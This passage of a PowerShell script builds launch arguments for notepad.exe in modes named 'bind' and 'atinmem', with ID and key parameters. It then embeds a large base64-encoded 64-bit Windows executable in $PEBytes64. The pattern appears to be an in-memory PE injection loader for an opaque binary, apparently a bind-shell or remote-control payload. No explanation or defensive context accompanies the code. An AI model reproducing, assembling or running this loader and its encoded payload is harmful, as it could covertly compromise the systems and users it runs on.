if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
{
$DebugPreference  = "Continue"
}
$ExeArgs = ""
if ($versid -eq "bind")
{
$ExeArgs = "notepad.exe bind $idsid $rckey"
}
elseif ($versid -eq "atinmem")
 {
$ExeArgs = "notepad.exe $fpath $idsid $rckey"
}
else
{
}
    [System.IO.Directory]::SetCurrentDirectory($pwd)
$PEBytes64 = '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